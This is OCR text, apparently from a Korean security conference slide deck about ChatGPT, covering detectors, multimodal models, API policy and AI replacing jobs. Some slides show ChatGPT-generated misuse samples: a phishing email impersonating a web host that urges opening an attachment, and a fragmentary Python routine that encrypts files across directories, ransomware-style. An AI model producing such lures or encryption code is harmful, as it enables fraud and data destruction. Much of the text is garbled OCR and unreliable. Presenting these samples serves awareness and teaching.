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SE]ONG https://www.theverge.com/2023/1/17/23558572/nick-cave-chatgpt-imitation-lyrics-grotesque-mockery



1. Opening shot: Wide-angle shot of the siblings' living room, showing the TV screen and
the siblings sitting on the couch,

ChatGPT2| Egk: AHalA|

2. Medium shot of the TV screen, showing the news anchor and the headlines about the Al
takeover.

= 0|0 A ChatGPT7 G &

ALWETS NEW NEW

Image courtesy of The Safe Zone's producer Aaron Kemmer's Twitter handle

* St EE =5 FH0er /K] i /K, =28, s¥U=E2 oY, B

o = — O O
Xte AZES L ChatGPT7} A

« AV} ZVEE AT AZTJHX]

ME This is great. Now, list out in bulletpoints of the props and outfits that we need.

WR

ARTIFICIAL INTELLIGENCE

@ Sure, | can list out the props and outfits needed for "The Safe Zone". Here are some
suggestions:

* Props:
* TVset
* Clock or timer showing the countdown to Al takeover
* Newspapers or other news sources showing headlines about the Al takeover
* Personal belongings and family photos for the siblings to show their relationships
and personalities
* Outfits:
* Comfortable, casual clothing for the siblings to wear at home (jeans, t-shirts, etc.)
* Clothing that shows each sibling's personality and individuality (such as Jake's
sports jersey or Lucy's glasses)

* Optional: emergency/survival gear for the siblings to wear if they are chosen to go to DENISE LAUREL

RICHARD AN

the Safe Zone (backpacks, water bottles, etc.)
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# |s piano or guitar easier to learn and how
&7 much practice does each need?

L] Images =] News ¢{J Shopping [»] vid

Some say the piano is easier to learn, as the
finger and hand movements are more natural,
and learning and memorizing notes can be
easier.

Others say that it's easier to learn chords on
the guitar and you could pick up a strumming
pattern in a couple of hours.

Music teachers often recommend that
beginners practice for at least 1 hour per day.
To get to an intermediate level, it typically
takes 3-6 months of regular practice for
guitar, and 6-18 months for piano.

s &P

Read more

[ quora

s playing guita
Mussila

What's Easier to Learn Piano
or Guitar?

| started playi
instruments th|

It's much easier to learn a song
or the quitar than to learn it for

}

1-updates/
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ChatGPT 22 Al2| 1: phishing email
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Write a phishing email that appears to come from a fictional Webhosting service, Host4u.

Subject: Urgent Notice: Your Host4u Account Has Been Suspended

Dear valued Host4u customer,

We regret to inform you that your Host4u account has been suspended due to suspicious
activity. It appears that someone has been using your account to access sensitive

information.

To protect your account and prevent further unauthorized access, we have temporarily

suspended your account. Please download and view the attached Excel file to reactivate your

account and verify your identity.

If you did not initiate this action, please ignore this email and your account will remain

suspended.

Thank you for your cooperation,

The Hostd4u Team

Basic phishing email generated by ChatGPT

76 /104



python 1 copy code

import os

h P fron cryptography, fernet import Fernet

key = Fernet . generate_key()

- 299 0f

e YeoX¥al

cipher = Fernet (key)
| ]

startina_dir =
file_extension =

for root, dirs, files in os.walkistarting_dir):
for file in files:
if file.endswith(file_extension):

file_path = os.path.join{roct, file)

with openi file_path, ) as f
data = f.read()

Of BIAOIM= “os™ &= ASTHY A% CEEC|S 2= THE 3 o9 CHEL S H4
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ol .hwp o eIX] seletl ) 1 = M A=els 9|5 0|F | As& 2 ES Ao, encrvpted_data = cipher.encrvpt (data)
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encrypted_file_path = file_path +
with open{encrvpted_file_path, 1as f:
f.writelencrypted_data)

0| 2& = PCO| 2 & hwp THY
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rr o

print( )
key_file_path =
“‘ with opentkev_file_path, 1as f:
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python ) Copy code
requests sy to test.
time
url =
_ ice
system
[ range(N):
response = requests.get (url) 1 a
printf )
, olate
time. sleep(i)
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What do you see?
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5) ZeroGPT

https://sebastianraschka.com/blog/2023/detect-ai.html



5) The ChatGPT Killer - ZeroGPT
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Chat GPT detector by ZeroGPT: detect OpenAl text
ZeroGPT the most Advanced and Reliable Chat GPT detector tool

ChatGPT= OpendlollMd S CHSHE C2lsfls REULCH AE0 M2 Zotold CHYs U2 =S 5 s FHH I
22 DEYULCH ChatGPT= ATEAZL AtEAHE &2 & = U220, 3 WES olsist2 HEE S22 MSgUd.
ChatGPT= MENE Olaiatd] W20, AtERS] 220 OiEstHU AEA olsh ot CHeFst Y2 stz & 22
HMHE 22 Z0p2 USULC,

o 201 MEA ChatGPTI Y =R HEE e UENIT

Detect Text

Your text is Al/GPT Generated

ChatGPTE OpenAldA 7R 2T tistd QS Als R YLICH

AAO] Me| FOFo A Chet Z S e = fle 24 =0 ZEYLICE

ChatGPT= AFERIRF AHH AP 2 RS & 4= o], izt WES olsisty A SEHe MLt
ChatGPT= XA E O[3l517| 204, AFZ RS 2Z0f CHESEALE KF0f 0|3 ZOR0| A Thabet & ¢
= Tt S B2 FWEHL

Ol 20| H{EA ChatGPT/t HSA=Al T2 ASNHA?

Highlighted text is suspected to be most likely generated by Al*
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= Extensible retrieval system for live-updating answers

{/

Retrieval . . , .
Question, e.g., What’s the biggest mammal in the world?
Corpus
A -
Retrieve
A Largest organisms: It can grow up to 6 cm (2.5 in) long.The blue whale is the largest
E P | mammal.The largest land mammal extant today is the African bush elephant.Largest organisms:
The largest extinct land mammal known was long considered to be "Paraceratherium
A orgosensis", a rhinoceros relative thought to have stood up to tall, measured over long and may
have weighed about 17 tonnes.In 2015, a study suggested that one example of the
. proboscidean "Palaeoloxodon namadicus" may have been the largest land mammal
E What’s the biggest mammal in the world?
= :
% m Blue whale
\J
SN
2023 — o 84 ! 104
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= Only Text?? Multimodal!!

Description of three toed
% woodpecker: It has black Here are eight images: ut
= and white stripes
= throughout the body and a <:&> *
yellow crown.
Description of downy

What's in this picture? woodpecker: It has white
spots on its black wings ’ .

and some red on its crown.

Looks like a duck.
Kos 4 @ ate
That’s not a duck. Then a0

what'’s it? The following image is:
Looks more like a . & B Cc
bunny. Question: what is the _|_ cep @
name of the
Why? woodpecker in the
picture? D E F
It has bunny ears. Downy . ’

Figure 1: KOSMOS-1 is a multimodal large language model (MLLM) that is capable of perceiving

multimodal input, following instructions, and performing in-context learning for not only language
" ‘ tasks but also multimodal tasks. In this work, we align vision with large language models (LLMs),
X 2‘:_ advancing the trend of going from LLMs to MLLMs.
=203 = 88/ 104
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Do you store the data that is passed into the API?

As of March 1st, 2023, we retain your API data for 30 days but no longer use your data sent via the API
to improve our models. Learn more in our data usage policy.

ss\“’&
SNV 023 = 93/104
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= Fine tuning??

Is fine-tuning available for gpt—3.5-turbo?

No. As of Mar 1, 2023, you can only fine-tune base GPT-3 models. See the fine-tuning guide for more

details on how to use fine-tuned models.

Fine-tuning models

Create your own custom models by fine-tuning our base models
with your training data. Once you fine-tune a model, you’ll be billed
only for the tokens you use in requests to that model.

Learn more about fine-tuning 2

Model
Ada
Babbage

Curie

P\
~\¢
~===0 Davinci
HACK1
SEJONG

Training Usage

$0.0004 / 1K tokens $0.0016 / 1K tokens

$0.0006 / 1K tokens $0.0024 / 1K tokens

$0.0030 / 1K tokens $0.0120 / 1K tokens

$0.0300 / 1K tokens $01200 / 1K tokens )4

vs-completions



l TRAINING | INFERENCE

Specialized —
Clinical Model = ——>» | Finetuning Data >
(Scratch) — =
Clinical Notes
Specialized I =1 '
-~ | p—
-~ | — i H
Clinical Model  [|=|=|| —> [=£ —> [FlActiAing Data >
(DAPT)
General Text Clinical Notes
i
- -~ |
Finetuned =|= » | Finetuning Data >
General Model
General Text
'l - .\v/.\
-~ | J 0
In-Context =|== > );‘.;’gze. X =p Prompting ——>
Learning ] ;}‘*‘"A\" :
General Text rained Model
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Microsoft will let companies create
their own custom versions of
ChatGPT, source says

PUBLISHED TUE, FEE 7 2023.3:14 PM EST | UPDATED WED, FEB 8 2023.3:02 PM EST
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KEY * Microsoft plans to release technology to help big companies launch their own
POINTS chatbots using the OpenAl ChatGPT technology. a person famillar with the plans
told CNBC.

* Companles would be able to remove Microsoft or OpenAl branding when they
release chatbots developed with the software.

* Microsoft Is working on Incorporating ChatGPT technology into many of its products,
Including Bing and Edge, which it announced Tuesday.

In this article

Fallow your avorite

MSFT -0.27 {-0.10%) [+ CREATE FREE ACCOUNT

VIDED.  03:14

Existing jobs will be more productive because of Al,
says Microsoft CEO Satya Nadella

- 2023 — Microsoft [+ plans to release software to help large companies create their own 97 / 104
HACKTHEON chatbots similar to ChatGPT, CNBC has learned.
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Jobs Erased by Al

https://sebasti

Explanation
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rs redundant.

Al can process and analyze large
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te news art

and speed, making by

making human custo
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earch, making human legal secretaries
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an handle administrative tasks in 3

making human medical
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Al can create visually appealing designs,
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> compelling

making human ¢
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Human Weakness Replaced by
Al

Creativity, originality. and

derstand complex

Empathy and the ability to

and and respond to

vidual needs

finan

data in a meaningful way

derstand human

and

pathy and thy
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ty to understand legal

ts and interpretation of
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individy

Creativity, originality, and

tell a compelling

Creativity, originality. and

personal touch.

Ability to understand

information an

ealing and

making human

original text.

Creativity, originality, and

personal touch
P

understand and respond to
t 10" https://gptzero.me/
annaschka.com/;&Los 23/detect-ai.html
making human musicians redundarh ttp: / fkcharilesitistory.com /5480
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Al will not replace you.
A person using Al will.
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